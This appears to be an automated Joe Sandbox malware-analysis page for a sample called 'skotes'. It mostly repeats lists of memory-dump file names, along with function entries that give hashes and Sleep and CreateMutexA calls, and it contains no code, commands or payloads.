Associated: 00000002.00000002.1790562467.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790585139.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790609150.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790630215.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790650253.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790670274.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790689351.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790712211.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790736247.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790755554.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790776698.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790798336.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790817095.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790838852.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790867179.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790887068.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790907704.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790927599.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790948804.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790968766.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790988666.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791007729.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791029348.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791053892.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791102942.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791187377.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791207621.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791232555.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791252075.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791273107.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791291767.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791310531.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791330824.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4ac38373b76e66216ad3f06736766830dcd74ab15d69eb89f939cf1f81c9f0e1
Instruction ID: 6d981bfefbf94773fed9f9270f61a080056c9854bb6380c09d98349b5779aef1
Opcode Fuzzy Hash: 4ac38373b76e66216ad3f06736766830dcd74ab15d69eb89f939cf1f81c9f0e1
Instruction Fuzzy Hash: 71317B316042049FEB08EB78DC95B6CB7E2EBC5310F24C699E128DB3D5DB35A9808712

Function 00B7A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000002.00000002.1790140018.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1790120585.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790140018.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790207869.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790227080.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790247605.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790268890.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790286716.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790463478.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790485734.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790562467.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790585139.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790609150.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790630215.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790650253.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790670274.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790689351.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790712211.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790736247.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790755554.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790776698.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790798336.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790817095.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790838852.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790867179.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790887068.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790907704.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790927599.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790948804.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790968766.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790988666.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791007729.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791029348.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791053892.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791102942.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791187377.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791207621.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791232555.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791252075.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791273107.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791291767.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791310531.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791330824.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6bf1b2d37a04b663d996dc52a3c4023867f8c0be4d9d44022d06c6104b9c5bc6
Instruction ID: 49c20eef6828bf888991cdaf11e7b4715e327c19ab4afaf831f649329f141466
Opcode Fuzzy Hash: 6bf1b2d37a04b663d996dc52a3c4023867f8c0be4d9d44022d06c6104b9c5bc6
Instruction Fuzzy Hash: B0316A316042009BEB08DB78DDC9B6DB7E2DBC6310F24C699E128A73D5DB369980C713

Function 00B7A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000002.00000002.1790140018.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1790120585.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790140018.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790207869.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790227080.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790247605.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790268890.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790286716.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790463478.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790485734.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790562467.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790585139.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790609150.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790630215.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790650253.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790670274.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790689351.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790712211.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790736247.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790755554.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790776698.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790798336.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790817095.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790838852.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790867179.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790887068.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790907704.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790927599.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790948804.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790968766.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790988666.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791007729.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791029348.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791053892.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791102942.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791187377.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791207621.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791232555.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791252075.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791273107.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791291767.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791310531.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791330824.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 15781f74c6e3f4e1b3b12513316ec1addc0b05bba27fa9d172261d89a185cf87
Instruction ID: aec9a6f71fe6ec5e0624be7d8a626cc68e35d01252fae9ae7a4540b04aa97615
Opcode Fuzzy Hash: 15781f74c6e3f4e1b3b12513316ec1addc0b05bba27fa9d172261d89a185cf87
Instruction Fuzzy Hash: BA311A316042059FEB08DB68DD89B5DB7E2EBC6310F248699E128A73D5DB3599808712

Function 00B7A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000002.00000002.1790140018.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1790120585.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790140018.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790207869.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790227080.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790247605.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790268890.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790286716.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790463478.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790485734.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790562467.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790585139.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790609150.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790630215.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790650253.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790670274.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790689351.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790712211.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790736247.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790755554.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790776698.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790798336.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790817095.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790838852.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790867179.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790887068.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790907704.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790927599.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790948804.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790968766.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790988666.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791007729.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791029348.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791053892.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791102942.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791187377.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791207621.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791232555.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791252075.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791273107.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791291767.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791310531.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791330824.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 905d8581b7c00f54ea248068cf1bce41101cd6096d9a5275808c8b9b6484eaf2
Instruction ID: 73d7b4c67b53a731e1d92a0a633c2ca0fff6d91641844b09289be85f3712d9e3
Opcode Fuzzy Hash: 905d8581b7c00f54ea248068cf1bce41101cd6096d9a5275808c8b9b6484eaf2
Instruction Fuzzy Hash: 82316C326041009BEB08AB78DD89B6DB7E2EFD1314F24C299E128973D5EB7699808713

Function 00B7A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000002.00000002.1790140018.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1790120585.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790140018.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790207869.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790227080.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790247605.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790268890.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790286716.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790463478.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790485734.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790562467.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790585139.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790609150.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790630215.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790650253.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790670274.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790689351.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790712211.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790736247.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790755554.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790776698.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790798336.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790817095.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790838852.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790867179.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790887068.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790907704.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790927599.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790948804.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790968766.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790988666.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791007729.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791029348.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791053892.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791102942.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791187377.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791207621.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791232555.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791252075.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791273107.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791291767.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791310531.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791330824.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 45e6a53a57f97e147a603a85efb15aa2074f7f8473c414be4a7606dc16079f6a
Instruction ID: fa9e61286953f59a6ee68e59628061e514d86f8b36e9cdf7c85067bcec865160
Opcode Fuzzy Hash: 45e6a53a57f97e147a603a85efb15aa2074f7f8473c414be4a7606dc16079f6a
Instruction Fuzzy Hash: 9C314A316041009BEB08DB78DCC9B6DB7E2EBD5714F24C299E1289B3D1DB3599818713

Function 00B7A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000002.00000002.1790140018.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1790120585.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790140018.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790207869.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790227080.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790247605.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790268890.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790286716.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790463478.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790485734.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790515342.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790562467.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790585139.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790609150.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790630215.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790650253.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790670274.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790689351.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790712211.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790736247.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
